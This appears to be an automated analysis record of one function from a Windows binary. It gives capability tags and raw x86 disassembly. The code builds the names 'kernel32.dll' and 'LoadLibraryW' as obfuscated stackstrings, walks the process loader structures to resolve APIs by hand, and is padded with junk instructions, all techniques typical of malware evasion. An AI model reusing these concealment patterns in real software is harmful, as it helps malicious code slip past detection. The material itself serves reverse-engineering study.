Function at 0x47cc71
Capabilities:
Contain obfuscated stackstrings
Get number of processors
Resolve function by parsing pe exports

Disassembly:
mov byte [ebp - 0x958], 0x72
mov byte [ebp - 0x957], 0x6f
mov byte [ebp - 0x956], 0x74
mov byte [ebp - 0x955], 0x65
mov byte [ebp - 0x954], 0x63
mov byte [ebp - 0x953], 0x74
mov byte [ebp - 0x952], 0
push edx
sub edx, 0x461f
pop edx
push eax
call 0x47c91a
add byte [edx + 0x41], cl
dec esp
inc edx
xor eax, 0x4c48348
sub eax, 0x13c0b
jmp 0x47c92a
pop eax
push ebx
push edx
add esp, 4
xor ebx, 0x10975
pop ebx
mov eax, dword fs:[0x18]
mov dword [ebp - 0x1c34], eax
mov ecx, dword [ebp - 0x1c34]
mov edx, dword [ecx + 0x30]
mov dword [ebp - 0x18d4], edx
mov eax, dword [ebp - 0x18d4]
mov dword [ebp - 0x150c], eax
push ecx
push ecx
add esp, 4
sub ecx, 0x142d5
or ecx, 0x1339f
add ecx, 0x95b2
jmp 0x47c97a
pop ecx
push esi
push edx
add esp, 4
and esi, 0xcedb
jmp 0x47c98f
pop esi
cmp dword [ebp - 0x150c], 0
jne 0x47c9a8
mov dword [ebp - 0x2a8], 0
jmp 0x47cc4f
mov ecx, dword [ebp - 0x150c]
mov edx, dword [ecx + 0xc]
mov eax, dword [edx + 0xc]
mov dword [ebp - 0xc4c], eax
push eax
sub eax, 0x319c
xor eax, 0x15d25
pop eax
push ebx
jmp 0x47c9cf
pop ebx
push edi
xor edi, 0xab3
add edi, 0xe30b
sub edi, 0x3322
jmp 0x47c9eb
pop edi
cmp dword [ebp - 0xc4c], 0
jne 0x47ca04
mov dword [ebp - 0x2a8], 0
jmp 0x47cc4f
mov ecx, dword [ebp - 0xc4c]
mov dword [ebp - 0x4e4], ecx
push edi
jmp 0x47ca19
jmp 0x47ca22
pop edi
push edx
jmp 0x47ca29
pop edx
push ebx
push eax
add esp, 4
add ebx, 0x1357d
sub ebx, 0xf4c2
add ebx, 0x2c10
pop ebx
lea edx, [ebp - 0x1628]
mov dword [ebp - 0xc48], edx
mov eax, dword [ebp - 0x4e4]
mov ecx, dword [eax + 0x30]
mov dword [ebp - 0xc44], ecx
xor edx, edx
mov word [ebp - 0x204], dx
xor eax, eax
mov word [ebp - 0x38], ax
push esi
push esi
add esp, 4
sub esi, 0x7ebf
xor esi, 0x8efb
pop esi
push eax
and eax, 0xbd2d
xor eax, 0x17b2
and eax, 0xfbbf
pop eax
push edx
push eax
add esp, 4
or edx, 0x134c0
pop edx
mov ecx, dword [ebp - 0xc44]
mov dx, word [ecx]
mov word [ebp - 0xf8a], dx
mov eax, dword [ebp - 0xc44]
add eax, 2
mov dword [ebp - 0xc44], eax
mov cx, word [ebp - 0xf8a]
mov word [ebp - 0x204], cx
mov edx, dword [ebp - 0xc48]
mov ax, word [edx]
mov word [ebp - 0xf8c], ax
mov ecx, dword [ebp - 0xc48]
add ecx, 2
mov dword [ebp - 0xc48], ecx
mov dx, word [ebp - 0xf8c]
mov word [ebp - 0x38], dx
push esi
add esi, 0xef50
call 0x47cb0b
add byte [ebx + 0x3e], al
push eax
cmp al, 0x3e
inc eax
dec edx
inc esi
add esp, 4
add esi, 0x1235a
call 0x47cb23
add byte [edx + 0x46], cl
inc eax
cmp edi, dword [eax]
dec edx
inc ebx
cmp al, byte [ebx + eax*4 - 0x3c]
add al, 0x5e
movzx eax, word [ebp - 0x38]
test eax, eax
jne 0x47cb44
movzx ecx, word [ebp - 0x204]
movzx edx, word [ebp - 0x38]
sub ecx, edx
mov dword [ebp - 0x1514], ecx
jmp 0x47cb9e
movzx eax, word [ebp - 0x204]
movzx ecx, word [ebp - 0x38]
cmp eax, ecx
je 0x47ca6c
movzx edx, word [ebp - 0x204]
xor edx, 0x20
movzx eax, word [ebp - 0x38]
cmp edx, eax
je 0x47ca6c
movzx ecx, word [ebp - 0x204]
movzx edx, word [ebp - 0x38]
cmp ecx, edx
jge 0x47cb88
mov dword [ebp - 0x1510], 0xffffffff
jmp 0x47cb92
mov dword [ebp - 0x1510], 1
mov eax, dword [ebp - 0x1510]
mov dword [ebp - 0x1514], eax
cmp dword [ebp - 0x1514], 0
jne 0x47cbe7
push eax
and eax, 0x10027
call 0x47cbbe
add byte [ebx + 0x41], al
dec ebp
xor al, byte [ebp + 0x44]
dec eax
cmp eax, 0xc4834a49
add al, 0xe8
or dword [eax], eax
add byte [eax], al
add byte [edx], dh
cmp edx, dword [eax + 0x3c]
dec ecx
dec edx
dec ebx
inc esp
add esp, 4
and eax, 0x639f
pop eax
mov ecx, dword [ebp - 0x4e4]
mov dword [ebp - 0x2a8], ecx
jmp 0x47cc4f
push edi
xor edi, 0xadf3
pop edi
push edi
and edi, 0x3e35
jmp 0x47cbff
add edi, 0x10ca8
call 0x47cc15
add byte [esi + 0x40], al
aaa
inc edx
inc eax
xor esi, dword [edx]
inc ebx
inc esp
cmp eax, 0x5f04c483
mov edx, dword [ebp - 0x4e4]
mov eax, dword [edx]
mov dword [ebp - 0x4e4], eax
mov ecx, dword [ebp - 0x4e4]
cmp ecx, dword [ebp - 0xc4c]
je 0x47cc45
mov edx, dword [ebp - 0x4e4]
cmp dword [edx + 0x30], 0
jne 0x47ca10
mov dword [ebp - 0x2a8], 0
push edx
and edx, 0x125d4
pop edx
push eax
jmp 0x47cc60
pop eax
push eax
call 0x47cc71
add byte [edi + 0x4d], al
cmp al, 0x3f
inc edx
dec eax
inc edi
inc ecx
push eax
add esp, 4
xor eax, 0x1987
add eax, 0x12796
pop eax
cmp dword [ebp - 0x2a8], 0
jne 0x47d586
mov eax, 0x6b
mov word [ebp - 0x16e8], ax
mov ecx, 0x65
mov word [ebp - 0x16e6], cx
mov edx, 0x72
mov word [ebp - 0x16e4], dx
mov eax, 0x6e
mov word [ebp - 0x16e2], ax
mov ecx, 0x65
mov word [ebp - 0x16e0], cx
mov edx, 0x6c
mov word [ebp - 0x16de], dx
mov eax, 0x33
mov word [ebp - 0x16dc], ax
mov ecx, 0x32
mov word [ebp - 0x16da], cx
mov edx, 0x2e
mov word [ebp - 0x16d8], dx
mov eax, 0x64
mov word [ebp - 0x16d6], ax
mov ecx, 0x6c
mov word [ebp - 0x16d4], cx
mov edx, 0x6c
mov word [ebp - 0x16d2], dx
xor eax, eax
mov word [ebp - 0x16d0], ax
push ebx
push ecx
add esp, 4
or ebx, 0xb424
sub ebx, 0xa4e7
xor ebx, 0x71a9
sub ebx, 0xf0d0
pop ebx
push ecx
and ecx, 0x12c5d
add ecx, 0x1c9f
and ecx, 0x42d6
pop ecx
mov byte [ebp - 0x830], 0x4c
mov byte [ebp - 0x82f], 0x6f
mov byte [ebp - 0x82e], 0x61
mov byte [ebp - 0x82d], 0x64
mov byte [ebp - 0x82c], 0x4c
mov byte [ebp - 0x82b], 0x69
mov byte [ebp - 0x82a], 0x62
mov byte [ebp - 0x829], 0x72
mov byte [ebp - 0x828], 0x61
mov byte [ebp - 0x827], 0x72
mov byte [ebp - 0x826], 0x79
mov byte [ebp - 0x825], 0x57
mov byte [ebp - 0x824], 0
mov ecx, dword fs:[0x18]
mov dword [ebp - 0x18d8], ecx
mov edx, dword [ebp - 0x18d8]
mov eax, dword [edx + 0x30]
mov dword [ebp - 0x18dc], eax
mov ecx, dword [ebp - 0x18dc]
mov dword [ebp - 0x1518], ecx
push eax
push esi
add esp, 4
sub eax, 0x693c
add eax, 0xd105
pop eax
push eax
and eax, 0xe6aa
sub eax, 0xaad5
pop eax
push edx
push edx
add esp, 4
and edx, 0x1202c
and edx, 0x696
pop edx
cmp dword [ebp - 0x1518], 0
jne 0x47ce26
mov dword [ebp - 0x710], 0
jmp 0x47d0cd
mov edx, dword [ebp - 0x1518]
mov eax, dword [edx + 0xc]
mov ecx, dword [eax + 0xc]
mov dword [ebp - 0xc58], ecx
push edi
push esi
add esp, 4
call 0x47ce49
add byte [0x36453346], bh
dec esp
add esp, 4
jmp 0x47ce51
sub edi, 0x168f2
pop edi
push edi
push eax
add esp, 4
and edi, 0x14c7d
xor edi, 0x11221
pop edi
cmp dword [ebp - 0xc58], 0
jne 0x47ce82
invalid